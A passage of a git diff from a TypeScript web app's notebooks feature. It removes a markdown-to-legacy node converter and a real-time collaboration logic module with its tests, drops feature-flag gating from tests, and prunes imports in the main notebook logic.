exactly.- const { nodeType, ...attrs } = node.props- if (typeof nodeType === 'string') {- return { type: nodeType, attrs }- }- }-- const notebookNodeType = MARKDOWN_TAG_TO_NOTEBOOK_NODE_TYPE[node.tagName]- if (notebookNodeType) {- return { type: notebookNodeType, attrs: getNotebookNodeAttrsForMarkdownComponent(node) }- }-- // No v1 node type for this tag — keep the serialized tag source as paragraph text so the- // content is never silently lost.- return makeParagraph(makeTextWithHardBreaks(serializeNode(node)))-}--function getNotebookNodeAttrsForMarkdownComponent(node: NotebookComponentBlockNode): JSONContent['attrs'] {- if (typeof node.props.hideFilters === 'boolean' || typeof node.props.edit === 'boolean') {- return { ...node.props }- }- return { ...node.props, edit: true }-}--function convertListNode(node: NotebookListBlockNode): JSONContent[] {- // Inverse of `serializeList` in markdownNotebookV2.ts: items with greater depth nest into the- // previous shallower item's listItem as a child list. taskList and bulletList items cannot- // mix, so a task/plain change at the same depth splits into sibling lists — checked state is- // never dropped.- const rootLists: JSONContent[] = []- const listStack: JSONContent[] = []- const isTaskItem = (item: NotebookListBlockNode['items'][number]): boolean =>- !(item.ordered ?? node.ordered) && item.checked !== undefined-- const attachList = (list: JSONContent): void => {- const parentItems = listStack[listStack.length - 1]?.content- const parentItem = parentItems?.[parentItems.length - 1]- if (parentItem) {- parentItem.content = [...(parentItem.content ?? []), list]- } else {- rootLists.push(list)- }- listStack.push(list)- }-- for (const item of node.items) {- const task = isTaskItem(item)- const depth = Math.max(0, item.depth)- while (listStack.length - 1 > depth) {- listStack.pop()- }- if (!listStack.length) {- attachList(makeList(node.ordered, node.start, task))- }- while (listStack.length - 1 < depth) {- if (!(listStack[listStack.length - 1].content ?? []).length) {- // Nothing to nest under — keep the item at the current depth.- break- }- attachList(makeList(item.ordered ?? node.ordered, item.start, task))- }- if ((listStack[listStack.length - 1].type === 'taskList') !== task) {- listStack.pop()- attachList(makeList(item.ordered ?? node.ordered, item.start, task))- }- const currentList = listStack[listStack.length - 1]- const itemNode: JSONContent = task- ? { type: 'taskItem', attrs: { checked: item.checked ?? false } }- : { type: 'listItem' }- currentList.content = [- ...(currentList.content ?? []),- { ...itemNode, content: [makeParagraph(convertInlineNodes(item.children))] },- ]- }-- return rootLists-}--function makeList(ordered: boolean, start: number | undefined, task: boolean): JSONContent {- if (!ordered && task) {- return { type: 'taskList', content: [] }- }- return {- type: ordered ? 'orderedList' : 'bulletList',- ...(ordered && start !== undefined && start !== 1 ? { attrs: { start } } : {}),- content: [],- }-}--function convertTableNode(node: NotebookTableBlockNode): JSONContent {- // `node.alignments` is dropped — v1 tables do not store column alignment.- const headerRow: JSONContent = {- type: 'tableRow',- content: node.headers.map((cell) => makeTableCellNode('tableHeader', cell)),- }- const bodyRows = node.rows.map(- (row): JSONContent => ({- type: 'tableRow',- content: row.map((cell) => makeTableCellNode('tableCell', cell)),- })- )-- return { type: 'table', content: [headerRow, ...bodyRows] }-}--function makeTableCellNode(type: 'tableHeader' | 'tableCell', cell: NotebookTableCell): JSONContent {- return { type, content: [makeParagraph(convertInlineNodes(cell.children))] }-}--function convertCodeNode(node: NotebookCodeBlockNode): JSONContent {- return {- type: 'codeBlock',- attrs: { language: node.language ?? null },- // v1 code blocks hold plain text; one text node with embedded newlines round-trips through- // the upgrade path, which joins child text and hardBreaks back into the code string.- ...(node.text ? { content: [{ type: 'text', text: node.text }] } : {}),- }-}--function convertInlineNodes(nodes: NotebookInlineNode[]): JSONContent[] {- const content: JSONContent[] = []- for (const node of nodes) {- const converted = convertInlineNode(node)- const previous = content[content.length - 1]- if (- converted.type === NotebookNodeType.Mention &&- previous?.type === NotebookNodeType.Mention &&- previous.attrs?.id === converted.attrs?.id- ) {- // One labeled mention can parse into several adjacent runs (e.g. a partially bold- // label); they all collapse into the same atomic v1 mention.- continue- }- content.push(converted)- }- return content-}--function convertInlineNode(node: NotebookInlineNode): JSONContent {- if (node.type === 'hardBreak') {- return { type: 'hardBreak' }- }-- const mentionMark = (node.marks ?? []).find(- (mark): mark is Extract<NotebookInlineMark, { type: 'mention' }> => mark.type === 'mention'- )- if (mentionMark) {- const memberId = Number(mentionMark.id)- if (Number.isFinite(memberId)) {- // v1 mentions are atomic nodes whose label is derived from the member id at render- // time, so the mention replaces the labeled text.- return { type: NotebookNodeType.Mention, attrs: { id: memberId } }- }- }-- const marks = convertInlineMarks(node.marks ?? [])- return { type: 'text', text: node.text, ...(marks.length ? { marks } : {}) }-}--function convertInlineMarks(marks: NotebookInlineMark[]): JSONContentMark[] {- return marks.flatMap((mark): JSONContentMark[] => {- if (- mark.type === 'bold' ||- mark.type === 'italic' ||- mark.type === 'underline' ||- mark.type === 'strike' ||- mark.type === 'code'- ) {- return [{ type: mark.type }]- }- if (mark.type === 'link') {- return [{ type: 'link', attrs: { href: mark.href } }]- }- if (mark.type === 'ref') {- return [{ type: 'comment', attrs: { id: mark.id } }]- }- // 'mention' is handled as an atomic node in convertInlineNode; a mention with a- // non-numeric id degrades to its plain-text label.- return []- })-}--function makeParagraph(content: JSONContent[]): JSONContent {- return { type: 'paragraph', ...(content.length ? { content } : {}) }-}--function makeTextWithHardBreaks(text: string): JSONContent[] {- const content: JSONContent[] = []- text.split('\n').forEach((line, index) => {- if (index > 0) {- content.push({ type: 'hardBreak' })- }- if (line) {- content.push({ type: 'text', text: line })- }- })- return content-}diff --git a/frontend/src/scenes/notebooks/Notebook/markdownNotebookEditorState.test.ts b/frontend/src/scenes/notebooks/Notebook/markdownNotebookEditorState.test.tsindex 119e9b0c2cf5..a2353e95e988 100644--- a/frontend/src/scenes/notebooks/Notebook/markdownNotebookEditorState.test.ts+++ b/frontend/src/scenes/notebooks/Notebook/markdownNotebookEditorState.test.ts@@ -1,8 +1,6 @@import { expectLogic } from 'kea-test-utils'import api from 'lib/api'-import { FEATURE_FLAGS } from 'lib/constants'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'import { useMocks } from '~/mocks/jest'import { initKeaTests } from '~/test/init'@@ -284,19 +282,16 @@ Thinking...`)it.each([['scratchpad', { shortId: 'scratchpad', mode: 'notebook' as NotebookLogicMode }],['canvas', { shortId: 'canvas-test', mode: 'canvas' as NotebookLogicMode }],- ])('starts an empty %s as a markdown notebook when the flag is enabled', (_name, props) => {+ ])('starts an empty %s as a markdown notebook', (_name, props) => {logic.unmount()logic = notebookLogic(props)logic.mount()- featureFlagLogic.actions.setFeatureFlags([FEATURE_FLAGS.MARKDOWN_NOTEBOOKS], {- [FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]: true,- })expect(isMarkdownNotebookContent(logic.values.content)).toBe(true)expect(getMarkdownNotebookMarkdown(logic.values.content)).toEqual('')})- it('duplicates a legacy template as a markdown notebook when the flag is enabled', async () => {+ it('duplicates a legacy template as a markdown notebook', async () => {logic.unmount()const templateNotebook = {...cachedNotebook,@@ -311,9 +306,6 @@ Thinking...`)} as unknown as NotebookTypelogic = notebookLogic({ shortId: 'template-test', mode: 'notebook', cachedNotebook: templateNotebook })logic.mount()- featureFlagLogic.actions.setFeatureFlags([FEATURE_FLAGS.MARKDOWN_NOTEBOOKS], {- [FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]: true,- })logic.actions.loadNotebook()await expectLogic(logic).toDispatchActions(['loadNotebookSuccess'])@@ -355,7 +347,6 @@ Thinking...`)logic.actions.setEditingNodeEditing('markdown-node', true)expect(logic.values.editingNodeLogics).toEqual([nodeLogic])- expect(logic.values.editingNodeLogicsForLeft).toEqual([])expect(logic.values.isShowingLeftColumn).toBe(false)logic.actions.setShowHistory(true)diff --git a/frontend/src/scenes/notebooks/Notebook/markdownNotebookRegistry.tsx b/frontend/src/scenes/notebooks/Notebook/markdownNotebookRegistry.tsxindex 6e1215ebc9c8..281d4d413acf 100644--- a/frontend/src/scenes/notebooks/Notebook/markdownNotebookRegistry.tsx+++ b/frontend/src/scenes/notebooks/Notebook/markdownNotebookRegistry.tsx@@ -1,4 +1,3 @@-import '../Nodes/NotebookNodeBacklink'import '../Nodes/NotebookNodeCohort'import '../Nodes/NotebookNodeCustomerJourney/NotebookNodeCustomerJourney'import '../Nodes/NotebookNodeSQLV2'@@ -25,7 +24,6 @@ import '../Nodes/NotebookNodePythonV2'import '../Nodes/NotebookNodeQuery'import '../Nodes/NotebookNodeRecording'import '../Nodes/NotebookNodeRelatedGroups'-import '../Nodes/NotebookNodeReplayTimestamp'import '../Nodes/NotebookNodeSupportTickets'import '../Nodes/NotebookNodeSurvey'import '../Nodes/NotebookNodeTaskCreate'@@ -825,7 +823,7 @@ export function getSerializableAttributeInputValue(export function getSerializableProps(attributes: Partial<NotebookNodeAttributes<any>>): NotebookComponentProps {return Object.entries(attributes).reduce<NotebookComponentProps>((props, [key, value]) => {- // Normalize before validating, mirroring the legacy notebook flow(via useSyncedAttributes).+ // Normalize before validating, mirroring how the legacy notebook flow synced attributes.// Otherwise isNotebookPropValue rejects an object with a single nested `undefined` property and—// it gets ignored. e.g. a person-property filter's absent `label`/`group_type_index` inside// `query.source.properties` — fails isNotebookPropValue and the whole `query` prop is droppeddiff --git a/frontend/src/scenes/notebooks/Notebook/notebookCollabLogic.test.ts b/frontend/src/scenes/notebooks/Notebook/notebookCollabLogic.test.tsdeleted file mode 100644index eea56df00221..000000000000--- a/frontend/src/scenes/notebooks/Notebook/notebookCollabLogic.test.ts+++ /dev/null@@ -1,152 +0,0 @@-import { collab, getVersion } from '@tiptap/pm/collab'-import { schema } from '@tiptap/pm/schema-basic'-import { EditorState } from '@tiptap/pm/state'--import { TTEditor } from 'lib/components/RichContentEditor/types'--import { applyRemoteStep, RemoteStep } from './notebookCollabLogic'-import { REMOTE_PRESENCE_META } from './RemotePresenceExtension'--jest.mock('posthog-js', () => ({ captureException: jest.fn() }))-jest.mock('@posthog/lemon-ui', () => ({- ...jest.requireActual('@posthog/lemon-ui'),- lemonToast: { error: jest.fn() },-}))--const LOCAL_CLIENT_ID = 'local-client'-const REMOTE_CLIENT_ID = 'remote-client'--function createMockEditor(initialVersion: number = 0): TTEditor {- const doc = schema.node('doc', null, [schema.node('paragraph', null, [schema.text('abc')])])- let state = EditorState.create({- doc,- schema,- plugins: [collab({ version: initialVersion, clientID: LOCAL_CLIENT_ID })],- })- const dispatch = jest.fn((tr: any) => {- state = state.apply(tr)- })- return {- get state() {- return state- },- view: { dispatch },- } as unknown as TTEditor-}--function insertStepJSON(at: number, text: string): Record<string, any> {- return {- stepType: 'replace',- from: at,- to: at,- slice: { content: [{ type: 'text', text }] },- }-}--function presence(head: number): RemoteStep['presence'] {- return { userId: 42, userName: 'Remote User', head }-}--describe('notebookCollabLogic', () => {- describe('applyRemoteStep', () => {- it('applies a step when remote.version matches local + 1', () => {- const editor = createMockEditor(0)- const startDoc = editor.state.doc.textContent-- applyRemoteStep(editor, {- step: insertStepJSON(4, 'X'),- clientId: REMOTE_CLIENT_ID,- version: 1,- })-- expect(editor.view.dispatch).toHaveBeenCalledTimes(1)- expect(getVersion(editor.state)).toBe(1)- expect(editor.state.doc.textContent).toBe(`${startDoc}X`)- })-- it('skips the step when remote.version is behind, but still dispatches presence', () => {- const editor = createMockEditor(5)- const startDoc = editor.state.doc.textContent-- applyRemoteStep(editor, {- step: insertStepJSON(4, 'X'),- clientId: REMOTE_CLIENT_ID,- version: 3,- presence: presence(2),- })-- expect(editor.view.dispatch).toHaveBeenCalledTimes(1)- const [tr] = (editor.view.dispatch as jest.Mock).mock.calls[0]- expect(tr.getMeta(REMOTE_PRESENCE_META)).toEqual({- clientId: REMOTE_CLIENT_ID,- userId: 42,- userName: 'Remote User',- head: 2,- lastSeenAt: expect.any(Number),- })- // doc and collab version should be untouched- expect(editor.state.doc.textContent).toBe(startDoc)- expect(getVersion(editor.state)).toBe(5)- })-- it('does nothing when remote.version is behind and no presence is attached', () => {- const editor = createMockEditor(5)-- applyRemoteStep(editor, {- step: insertStepJSON(4, 'X'),- clientId: REMOTE_CLIENT_ID,- version: 3,- })-- expect(editor.view.dispatch).not.toHaveBeenCalled()- })-- it('skips entirely when remote.version is ahead (out of order)', () => {- const editor = createMockEditor(0)-- applyRemoteStep(editor, {- step: insertStepJSON(4, 'X'),- clientId: REMOTE_CLIENT_ID,- version: 5,- presence: presence(2),- })-- expect(editor.view.dispatch).not.toHaveBeenCalled()- expect(getVersion(editor.state)).toBe(0)- })-- it('attaches presence meta to the applied step transaction', () => {- const editor = createMockEditor(0)-- applyRemoteStep(editor, {- step: insertStepJSON(4, 'X'),- clientId: REMOTE_CLIENT_ID,- version: 1,- presence: presence(5),- })-- const [tr] = (editor.view.dispatch as jest.Mock).mock.calls[0]- expect(tr.getMeta(REMOTE_PRESENCE_META)).toEqual({- clientId: REMOTE_CLIENT_ID,- userId: 42,- userName: 'Remote User',- head: 5,- lastSeenAt: expect.any(Number),- })- expect(tr.docChanged).toBe(true)- })-- it('throws on malformed steps so the caller can surface the conflict modal', () => {- const editor = createMockEditor(0)-- expect(() =>- applyRemoteStep(editor, {- step: { stepType: 'totally-bogus' } as any,- clientId: REMOTE_CLIENT_ID,- version: 1,- })- ).toThrow()- expect(editor.view.dispatch).not.toHaveBeenCalled()- })- })-})diff --git a/frontend/src/scenes/notebooks/Notebook/notebookCollabLogic.ts b/frontend/src/scenes/notebooks/Notebook/notebookCollabLogic.tsdeleted file mode 100644index 9d16010500b7..000000000000--- a/frontend/src/scenes/notebooks/Notebook/notebookCollabLogic.ts+++ /dev/null@@ -1,504 +0,0 @@-import { EventSourceMessage } from '@microsoft/fetch-event-source'-import { getVersion, receiveTransaction, sendableSteps } from '@tiptap/pm/collab'-import { Step } from '@tiptap/pm/transform'-import { MakeLogicType, actions, beforeUnmount, kea, key, listeners, path, props, reducers, selectors } from 'kea'-import posthog from 'posthog-js'--import api from 'lib/api'-import { JSONContent, TTEditor } from 'lib/components/RichContentEditor/types'-import { uuid } from 'lib/utils/dom'-import { getCurrentTeamId } from 'lib/utils/getAppContext'--import { notebooksCollabPresenceCreate } from 'products/notebooks/frontend/generated/api'--import type { Editor } from '../../../../../node_modules/.pnpm/@[email protected]_@[email protected]/node_modules/@tiptap/core/dist/index'-import {- getNotebookRemoteParticipants,- type NotebookRemoteParticipant,- pruneNotebookRemotePresence,-} from './notebookPresence'-import { ClientPresence, REMOTE_PRESENCE_META } from './RemotePresenceExtension'--const PRESENCE_TTL_MS = 30_000-const PRESENCE_PRUNE_INTERVAL_MS = 5_000-const PRESENCE_HEARTBEAT_MS = 10_000-const PRESENCE_PUBLISH_DEBOUNCE_MS = 250--/** SSE `event: step` body from the collab stream endpoint */-type StreamStepEvent = {- step: Record<string, any>- client_id: string- user_id: number- user_name: string- cursor_head: number-}--/** Presence fields piggybacked on every SSE step event (`cursor_head` → `head`) */-export type RemotePresence = {- userId: number- userName: string- head: number-}--export type RemoteStep = {- step: Record<string, any>- clientId: string- /** Resulting version after this step is applied (== local getVersion + 1 in normal flow) */- version: number- presence?: RemotePresence-}--/**- * Idempotent step apply. The same step may arrive via SSE *and* via the 409- * conflict body on a concurrent save; whichever lands first wins, the second- * skips by version. Presence is always propagated so the caret stays in sync.- * Throws if the step itself can't be applied — caller decides how to surface it.- */-export function applyRemoteStep(editor: TTEditor, remote: RemoteStep): void {- const expected = getVersion(editor.state) + 1-- const presenceMeta = (): ClientPresence | null => {- if (!remote.presence) {- return null- }- return { clientId: remote.clientId, ...remote.presence, lastSeenAt: Date.now() }- }-- if (remote.version < expected) {- // Already applied via the other channel - still update presence so the caret tracks typing- const meta = presenceMeta()- if (meta) {- editor.view.dispatch(editor.state.tr.setMeta(REMOTE_PRESENCE_META, meta))- }- return- }-- if (remote.version > expected) {- // Out-of-order; the next save's 409 carries the missed range, or 410 → reload- return- }-- const step = Step.fromJSON(editor.state.schema, remote.step)- let tr = receiveTransaction(editor.state, [step], [remote.clientId], {- mapSelectionBackward: true,- })- const meta = presenceMeta()- if (meta) {- tr = tr.setMeta(REMOTE_PRESENCE_META, meta)- }- editor.view.dispatch(tr)-}--// Generated by kea-typegen. Update if you're an agent, ignore if you're human.-export interface notebookCollabLogicValues {- clientID: string- isConnecting: boolean- remoteParticipants: NotebookRemoteParticipant[]- remotePresence: Record<string, ClientPresence>- streamConnected: boolean- streamError: string | null- ttEditor: TTEditor | null-}--// Generated by kea-typegen. Update if you're an agent, ignore if you're human.-export interface notebookCollabLogicActions {- ackLocalSteps: (- steps: Record<string, any>[],- clientID: string- ) => {- clientID: string- steps: Record<string, any>[]- }- applyRemoteSteps: (steps: RemoteStep[]) => {- steps: RemoteStep[]- }- bindEditor: (editor: TTEditor) => {- editor: Editor- }- connectStream: () => {- value: true- }- disconnectStream: () => {- value: true- }- handleRemotePresence: (presence: ClientPresence) => {- presence: ClientPresence- }- pruneRemotePresence: (now?: number) => {- now: number- }- publishPresence: () => {- value: true- }- rebaseFailed: (params: { localContent: JSONContent; localText: string }) => {- localContent: JSONContent- localText: string- }- streamClosed: (error?: string | null) => {- error: string | null- }- streamOpened: () => {- value: true- }- unbindEditor: () => {- value: true- }-}--// Generated by kea-typegen. Update if you're an agent, ignore if you're human.-export interface notebookCollabLogicProps {- shortId: string-}--export type notebookCollabLogicType = MakeLogicType<- notebookCollabLogicValues,- notebookCollabLogicActions,- notebookCollabLogicProps->--export const notebookCollabLogic = kea<notebookCollabLogicType>([- props({} as { shortId: string }),- path((key) => ['scenes', 'notebooks', 'Notebook', 'notebookCollabLogic', key]),- key(({ shortId }) => shortId),-- actions({- bindEditor: (editor: TTEditor) => ({ editor }),- unbindEditor: true,- /** Ack our own saved steps so PM-collab advances its version (matching clientID = no-op apply). */- ackLocalSteps: (steps: Record<string, any>[], clientID: string) => ({ steps, clientID }),- /** Apply steps received from SSE or a 409 body. Idempotent by version. */- applyRemoteSteps: (steps: RemoteStep[]) => ({ steps }),- /** Bubbles up to notebookLogic when receiveTransaction throws — the conflict modal opens. */- rebaseFailed: (params: { localContent: JSONContent; localText: string }) => params,- /** Broadcast the local caret so it moves for others even without typing. */- publishPresence: true,- handleRemotePresence: (presence: ClientPresence) => ({ presence }),- pruneRemotePresence: (now: number = Date.now()) => ({ now }),- connectStream: true,- disconnectStream: true,- streamOpened: true,- streamClosed: (error: string | null = null) => ({ error }),- }),-- reducers({- ttEditor: [- null as TTEditor | null,- {- bindEditor: (_, { editor }) => editor,- unbindEditor: () => null,- },- ],- // Stable per-logic clientID; shared with the PM collab plugin for self-event filtering.- clientID: [uuid() as string, {}],- streamConnected: [- false,- {- streamOpened: () => true,- streamClosed: () => false,- disconnectStream: () => false,- },- ],- isConnecting: [- false,- {- connectStream: () => true,- streamOpened: () => false,- streamClosed: () => false,- disconnectStream: () => false,- },- ],- streamError: [- null as string | null,- {- streamOpened: () => null,- streamClosed: (_, { error }) => error,- disconnectStream: () => null,- },- ],- remotePresence: [- {} as Record<string, ClientPresence>,- {- handleRemotePresence: (state, { presence }) => ({ ...state, [presence.clientId]: presence }),- pruneRemotePresence: (state, { now }) => pruneNotebookRemotePresence(state, now, PRESENCE_TTL_MS),- unbindEditor: () => ({}),- },- ],- }),-- selectors({- remoteParticipants: [- (s) => [s.remotePresence],- (remotePresence: Record<string, ClientPresence>): NotebookRemoteParticipant[] =>- getNotebookRemoteParticipants(remotePresence),- ],- }),-- listeners(({ actions, values, props, cache }) => ({- bindEditor: ({ editor }) => {- actions.connectStream()- actions.publishPresence()-- cache.disposables.add(() => {- const onSelectionUpdate = (): void => actions.publishPresence()- editor.on('selectionUpdate', onSelectionUpdate)- return () => {- editor.off('selectionUpdate', onSelectionUpdate)- }- }, 'presenceSelectionUpdate')-- // Re-announce the caret while idle so it outlives the receivers' TTL. Pausing on- // hidden tabs is deliberate: backgrounded editors' carets fade out remotely.- cache.disposables.add(() => {- const intervalId = window.setInterval(() => actions.publishPresence(), PRESENCE_HEARTBEAT_MS)- return () => window.clearInterval(intervalId)- }, 'presenceHeartbeat')-- cache.disposables.add(() => {- const intervalId = window.setInterval(() => actions.pruneRemotePresence(), PRESENCE_PRUNE_INTERVAL_MS)- return () => window.clearInterval(intervalId)- }, 'presencePrune')- },-- unbindEditor: () => {- actions.disconnectStream()- cache.disposables.dispose('presenceSelectionUpdate')- cache.disposables.dispose('presenceHeartbeat')- cache.disposables.dispose('presencePrune')- },-- publishPresence: async (_, breakpoint) => {- const editor = values.ttEditor- if (!editor || editor.isDestroyed || !editor.isEditable) {- return- }- await breakpoint(PRESENCE_PUBLISH_DEBOUNCE_MS)-- // Unconfirmed local steps are about to carry presence on the save path anyway.- if (sendableSteps(editor.state)) {- return- }-- const head = editor.state.selection.head- if (- cache.lastSentPresenceHead === head &&- Date.now() - (cache.lastSentPresenceAt ?? 0) < PRESENCE_HEARTBEAT_MS- ) {- return- }-- try {- await notebooksCollabPresenceCreate(String(getCurrentTeamId()), props.shortId, {- client_id: values.clientID,- version: getVersion(editor.state),- cursor: { head },- })- cache.lastSentPresenceHead = head- cache.lastSentPresenceAt = Date.now()- } catch {- // Presence is lossy by design; the next ping self-heals.- }- },-- ackLocalSteps: ({ steps, clientID }) => {- const editor = values.ttEditor- if (!editor || editor.isDestroyed || !steps.length) {- return- }- try {- const parsed = steps.map((s: Record<string, any>) => Step.fromJSON(editor.state.schema, s))- const tr = receiveTransaction(- editor.state,- parsed,- parsed.map(() => clientID),- {- mapSelectionBackward: true,- }- )- editor.view.dispatch(tr)- } catch (e) {- posthog.captureException(e as Error, { action: 'notebook collab ack local steps' })- }- },-- applyRemoteSteps: ({ steps }) => {- const editor = values.ttEditor- if (!editor || editor.isDestroyed) {- return- }- const localContent = editor.getJSON()- const localText = editor.getText()- for (const remote of steps) {- if (remote.clientId === values.clientID) {- continue- }- try {- if (remote.presence) {- actions.handleRemotePresence({- clientId: remote.clientId,- ...remote.presence,- lastSeenAt: Date.now(),- })- }- applyRemoteStep(editor, remote)- } catch (e) {- posthog.captureException(e as Error, { action: 'notebook collab apply remote step' })- actions.rebaseFailed({ localContent, localText })- return- }- }- },-- connectStream: async () => {- cache.abortController?.abort()- const controller = new AbortController()- cache.abortController = controller-- const onMessage = (msg: EventSourceMessage): void => {- if (msg.event === 'presence' && msg.data) {- const editor = values.ttEditor- if (!editor || editor.isDestroyed) {- return- }- try {- const payload = JSON.parse(msg.data) as {- client_id?: unknown- user_id?: unknown- user_name?: unknown- cursor?: { head?: unknown }- }- if (- typeof payload.client_id !== 'string' ||- payload.client_id === values.clientID ||- typeof payload.user_id !== 'number' ||- typeof payload.user_name !== 'string' ||- typeof payload.cursor?.head !== 'number'- ) {- return- }- const presence: ClientPresence = {- clientId: payload.client_id,- userId: payload.user_id,- userName: payload.user_name,- head: payload.cursor.head,- lastSeenAt: Date.now(),- }- actions.handleRemotePresence(presence)- // The extension clamps positions, so a briefly skewed version is safe.- editor.view.dispatch(editor.state.tr.setMeta(REMOTE_PRESENCE_META, presence))- } catch (e) {- posthog.captureException(e as Error, { action: 'notebook collab presence parse' })- }- return- }-- if (msg.event !== 'step' || !msg.data) {- return- }- // SSE id is the Redis stream id `N-0` and N is the prosemirror version.- // We use it for both reconnection (Last-Event-ID) and idempotency.- cache.lastEventId = msg.id- const version = parseInt(msg.id.split('-', 1)[0], 10)- if (!Number.isFinite(version)) {- return- }- let parsed: StreamStepEvent- try {- parsed = JSON.parse(msg.data) as StreamStepEvent- } catch (e) {- posthog.captureException(e as Error, { action: 'notebook collab stream parse' })- return- }- if (parsed.client_id === values.clientID) {- return- }- const editor = values.ttEditor- if (!editor || editor.isDestroyed) {- return- }- const localContent = editor.getJSON()- const localText = editor.getText()- try {- const remotePresence = {- userId: parsed.user_id,- userName: parsed.user_name,- head: parsed.cursor_head,- }- actions.handleRemotePresence({- clientId: parsed.client_id,- ...remotePresence,- lastSeenAt: Date.now(),- })- applyRemoteStep(editor, {- step: parsed.step,- clientId: parsed.client_id,- version,- presence: remotePresence,- })- } catch (e) {- posthog.captureException(e as Error, { action: 'notebook collab apply remote step' })- actions.rebaseFailed({ localContent, localText })- }- }-- const onError = (error: any): void => {- if (controller.signal.aborted) {- return- }- const message = error instanceof Error ? error.message : String(error)- actions.streamClosed(message)- posthog.captureException(error instanceof Error ? error : new Error(message), {- action: 'notebook collab stream',- })- }-- // onOpen fires on every successful fetch — including fetch-event-source's own- // internal retries — so the UI flips back to "live" the moment a connection- // opens, whether it's the initial one or a recovery after a transient error.- const onOpen = (): void => {- if (controller.signal.aborted) {- return- }- actions.streamOpened()- }-- // onClose fires when the server cleanly ends the body — the backend does this- // every STREAM_LIFETIME_SECONDS (5 min) by design. Errors and abort don't trigger- // this hook, so it cleanly isolates the "rotation" case from the failure case.- const onClose = (): void => {- if (controller.signal.aborted) {- return- }- actions.streamClosed()- actions.connectStream()- }-- try {- await api.notebooks.collabStream(props.shortId, {- onMessage,- onError,- onOpen,- onClose,- signal: controller.signal,- lastEventId: cache.lastEventId,- })- } catch (e) {- if (controller.signal.aborted) {- return- }- actions.streamClosed(e instanceof Error ? e.message : String(e))- posthog.captureException(e as Error, { action: 'notebook collab stream open' })- }- },-- disconnectStream: () => {- cache.abortController?.abort()- cache.abortController = null- cache.lastEventId = undefined- },- })),-- beforeUnmount(({ actions }) => {- actions.disconnectStream()- actions.unbindEditor()- }),-])diff --git a/frontend/src/scenes/notebooks/Notebook/notebookLogic.ts b/frontend/src/scenes/notebooks/Notebook/notebookLogic.tsindex eb19cd7eae0a..2e7a3e608dad 100644--- a/frontend/src/scenes/notebooks/Notebook/notebookLogic.ts+++ b/frontend/src/scenes/notebooks/Notebook/notebookLogic.ts@@ -1,5 +1,4 @@import { EventSourceMessage } from '@microsoft/fetch-event-source'-import { sendableSteps } from '@tiptap/pm/collab'import {MakeLogicType,BuiltLogic,@@ -34,9 +33,7 @@ import {import type { TextChange } from 'lib/components/MarkdownNotebook/collaboration'import type { MarkdownNotebookCaretPosition, RemoteNotebookCaret } from 'lib/components/MarkdownNotebook/remoteCarets'import type { NotebookCollaborationConflict } from 'lib/components/MarkdownNotebook/types'-import { EditorRange, JSONContent } from 'lib/components/RichContentEditor/types'-import { FEATURE_FLAGS } from 'lib/constants'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'+import { JSONContent } from 'lib/components/RichContentEditor/types'import { accessLevelSatisfied } from 'lib/utils/accessControlUtils'import { base64Decode, base64Encode } from 'lib/utils/base64'import { copyToClipboard } from 'lib/utils/copyToClipboard'@@ -57,27 +54,21 @@ import {openNotebook,} from '~/models/notebooksModel'import type { NotebookArtifactContent } from '~/queries/schema/schema-assistant-messages'-import { AnyResponseType, NodeKind } from '~/queries/schema/schema-general'-import { isHogQLQuery, isSavedInsightNode } from '~/queries/utils'+import { AnyResponseType } from '~/queries/schema/schema-general'+import { isHogQLQuery } from '~/queries/utils'import {AccessControlLevel,InsightModel,AccessControlResourceType,ActivityScope,AnyPropertyFilter,- CommentType,- InsightShortId,SidePanelTab,} from '~/types'import { notebooksCollabPresenceCreate } from 'products/notebooks/frontend/generated/api'import type { NotebookCollabCursorApi } from 'products/notebooks/frontend/generated/api.schemas'-import type { Range } from '../../../../../node_modules/.pnpm/@[email protected]_@[email protected]/node_modules/@tiptap/core/dist/index'-import type { TTEditor } from '../../../lib/components/RichContentEditor/types'-import type { FeatureFlagsSet } from '../../../lib/logic/featureFlagLogic'-import type { UserType } from '../../../types'-import type { CommentContext } from '../../comments/commentsLogic'+import type { CommentType, UserType } from '../../../types'import {buildNotebookDependencyGraph,collectDuckSqlNodes,@@ -94,16 +85,7 @@ import type {SqlV2NodeSummary,} from '../Nodes/notebookNodeContent'import type { notebookNodeLogicType } from '../Nodes/notebookNodeLogic'-// NOTE: Annoyingly, if we import this then kea logic type-gen generates-// two imports and fails so, we reimport it from the types file-import {- NotebookEditor,- NotebookNodeType,- NotebookSyncStatus,- NotebookTarget,- NotebookType,- TableOfContentData,-} from '../types'+import { NotebookNodeType, NotebookSyncStatus, NotebookTarget, NotebookType } from '../types'import type { NotebookListItemType } from '../types'import { updateContentHeading } from '../utils'import { NotebookArtifactApplyMode } from './markdownNotebookRuntime'@@ -117,12 +99,10 @@ import {getMarkdownNotebookTitle,isMarkdownNotebookContent,notebookArtifactContentToMarkdown,- serializeMarkdownNotebookComponent,} from './markdownNotebookV2'import { NOTEBOOKS_VERSION, migrate } from './migrations/migrate'import { buildNotebookOpenedEvent } from './notebookAnalytics'import { shouldWarnBeforeLeavingNotebook } from './notebookBeforeUnload'-import { notebookCollabLogic } from './notebookCollabLogic'import { notebookKernelInfoLogic } from './notebookKernelInfoLogic'import type { NotebookKernelInfo } from './notebookKernelInfoLogic'import {@@ -139,6 +119,7 @@ import {} from './notebookPresence'import { notebookSettingsLogic } from './notebookSettingsLogic'+/** Save debounce for local-only notebooks (scratchpad, canvas), which don't sync to the server. */export const SYNC_DELAY = 1000/** Markdown notebooks save on a tighter cadence so same-block co-editing feels near-realtime. */export const MARKDOWN_SYNC_DELAY = 400@@ -146,8 +127,8 @@ export const MARKDOWN_SYNC_DELAY = 400export const MARKDOWN_SYNC_MAX_DELAY = 1500const NOTEBOOK_REFRESH_MS = window.location.origin === 'http://localhost:8000' ? 5000 : 30000-function getNotebookTextContent(content: JSONContent | null | undefined, editorText: string): string {- return getMarkdownNotebookTextContent(content) ?? editorText+function getNotebookTextContent(content: JSONContent | null | undefined): string {+ return getMarkdownNotebookTextContent(content) ?? ''}function keepNewestNotebookResponse(current: NotebookType | null, incoming: NotebookType | null): NotebookType | null {@@ -158,16 +139,16 @@ function keepNewestNotebookResponse(current: NotebookType | null, incoming: Notereturn incoming.version < current.version ? current : incoming}-function convertNotebookContentForRender(- content: JSONContent | null | undefined,- markdownNotebooksEnabled: boolean-): JSONContent | null | undefined {- if (!markdownNotebooksEnabled || isMarkdownNotebookContent(content)) 